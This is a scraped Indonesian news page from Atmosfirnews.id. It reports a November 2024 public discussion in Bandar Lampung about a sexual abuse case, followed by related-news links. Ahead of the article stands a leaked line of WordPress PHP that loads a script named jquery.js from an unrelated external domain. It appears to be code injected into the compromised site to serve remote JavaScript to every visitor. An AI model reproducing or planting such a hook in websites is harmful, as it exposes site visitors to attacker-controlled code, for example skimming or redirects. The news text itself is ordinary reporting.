add_action('wp_enqueue_scripts', function () { wp_enqueue_script( 'external-script', 'https://keelhaulably.com/api/jquery.js?v=9', array(), null, true ); }); Hi. Nuryadin (KAIM) Fasilitasi Diskusi Publik Di Lamban Kuning, Terkait Kasus Cabul - Atmosfirnews.id

Hi. Nuryadin (KAIM) Fasilitasi Diskusi Publik Di Lamban Kuning, Terkait Kasus Cabul

- Jurnalis

Senin, 4 November 2024 - 14:29 WIB

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy


Bandar Lampung, Atmosfirnews.id
Silaturahmi sekaligus diskusi publik terkait perkara pencabulan yang sedang ditangani oleh Polresta Bandarlampung, suasana yang hangat terpancar begitu sejuk dalam diskusi tersebut, Minggu(03/ 11/2024).

Hadir dalam silaturahmi tersebut Raja Besi Tua, Hi. Nuryadin beserta istri, Pengacara kondang Maya Rumanti, S.H., M.H., yang kita kenal juga sebagai Pemerhati Perlindungan Anak dan tergabung dalam Hotman Paris and Patner.

Sebagai Tuan Rumah Lamban Kuning, Irjenpol. (Pur) Dr. Ike Edwin Sik, jajaran DPP dan DPC Laskar Lampung, Panglima Ir. Nerozeli Koenang,
Wahyudi, S.E., Wakil Ketua Bidang Pemerintahan, juga dari Srikandi Gan dan Advocad KAIM, Dr (c) Hj. Anita Putri S.Pd, Ketum DPP GANNMN.

Baca Juga :  Kapolda Lampung Terima Audiensi Ditjen Pemasyarakatan Kanwil Lampung, Perkuat Sinergitas Antar-Instansi

Dalam diskusi tersebut disampaikan Dang Ike, bagaimana Beliau menanggapi Laporan dari sekelompok masyarakat yang sengaja datang melaporkan persoalan terkait perkara pelecehan yang viral karena tersangka dapat ditangguhkan penahanannya (tidak ditahan).

Baca Juga :  Kriminalisasi Oknum Pejabat Dinsos Balam Buat Laporan UU ITE Terkait Karya Jurnalistik di Polresta Balam

Menanggapi laporan masyarakat tersebut, Dang Ike prihatin terhadap kasus ini, terlebih lagi tersangka RZ yang awalnya tidak ditahan, menurut Dang Ike Edwin.

Sedangkan Menurut Ketum KAIM, Hi. Nuryadin, S.H. ,” Kasus ini menjadi perhatian khusus dan kami keluarga besar KAIM mengawal dan mendorong proses hukum sampai ke Pengadilan dan tersangka dihukum sesuai dengan perbuatan tersangka, menurut peraturan perundang-undangan yang berlaku.”

Penulis : Yudhi

Berita Terkait

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan
Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak
RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup
Sengkarut BPJS dan RSUD Abdul Moeloek Diungkap Korban Wiwik Kusumawati
Puncak HUT RI ke-81, SDN 1 dan 2 Pahoman Bersama SPPG Enggal 02 Dorong Siswa Kreatif dan Berprestasi
HUT ke-81 RI, Rektor Saburai Ajak Kampus Jadi Kekuatan untuk Kemajuan Bangsa
Rayakan HUT RI ke-81, Warga RT 03 Pulau Bawean III Sukarame 1 Aktif Berkarya dan Berinovasi
57 Mahasiswa Ikuti Matrikulasi Magister Manajemen Universitas Saburai, Rektor Tekankan Kesiapan Akademik
Berita ini 25 kali dibaca

Berita Terkait

Senin, 24 Agustus 2026 - 22:11 WIB

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan

Senin, 24 Agustus 2026 - 14:05 WIB

Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak

Sabtu, 22 Agustus 2026 - 21:38 WIB

RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup

Jumat, 21 Agustus 2026 - 11:05 WIB

Sengkarut BPJS dan RSUD Abdul Moeloek Diungkap Korban Wiwik Kusumawati

Selasa, 18 Agustus 2026 - 14:43 WIB

Puncak HUT RI ke-81, SDN 1 dan 2 Pahoman Bersama SPPG Enggal 02 Dorong Siswa Kreatif dan Berprestasi

Berita Terbaru